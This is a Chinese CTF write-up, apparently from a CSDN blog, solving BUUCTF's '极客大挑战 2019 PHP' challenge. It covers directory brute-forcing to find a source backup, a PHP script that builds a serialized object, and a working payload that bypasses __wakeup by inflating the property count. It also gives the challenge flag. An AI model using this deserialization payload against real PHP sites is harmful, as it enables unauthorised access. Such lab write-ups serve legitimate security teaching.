×

注意!页面内容来自https://blog.csdn.net/MyZy_/article/details/143711097,本站不储存任何内容,为了更好的阅读体验进行在线解析,若有广告出现,请及时反馈。若您觉得侵犯了您的利益,请通知我们进行删除,然后访问 原网页

BUUCTF [极客大挑战 2019]PHP 1 解题思路

该文章已生成可运行项目,

[极客大挑战 2019]PHP 1

打开文件发现提示信息“备份文件”,查看源码并未发现其他有效信息

在这里插入图片描述

采用dirsearch爆破目录,找到www.zip文件

在这里插入图片描述

解压zip,发现是源码泄露

在这里插入图片描述

提交flag,发现不正确,看到index.php源码中有Get传参,然后反序列化函数unserialize(),判断为反序列化漏洞;

在这里插入图片描述

查看class.php可知,只要username=admin并且password=100,就能输出flag

在这里插入图片描述

于是构造反序列化payload

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$a= new Name();
$res=serialize(@$a);   
echo $res
?>

执行php方法序列化成字符串,Name前后需要添加%00

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

在这里插入图片描述

作为select参数值,未能显示出flag

在这里插入图片描述

这是因为成员属性数目大于实际数目2时才可绕过wakeup魔术方法,修改2为任意大于二的数字

O:4:"Name":666:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

在这里插入图片描述

成功拿到flag

flag{2629c697-31da-4735-8e1f-978a34067a82}

tips.

unserialize();

方法解释:
从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后会自动地试图去调用 __wakeup()成员函数;
本文章已经生成可运行项目
确定要放弃本次机会?
福利倒计时
: :

立减 ¥

普通VIP年卡可用
立即使用
1 条评论 您还未登录,请先 登录 后发表或查看评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TazmiDev

写文章不容易,充充电吧~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
点击重新获取
扫码支付
< type="text/css">
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值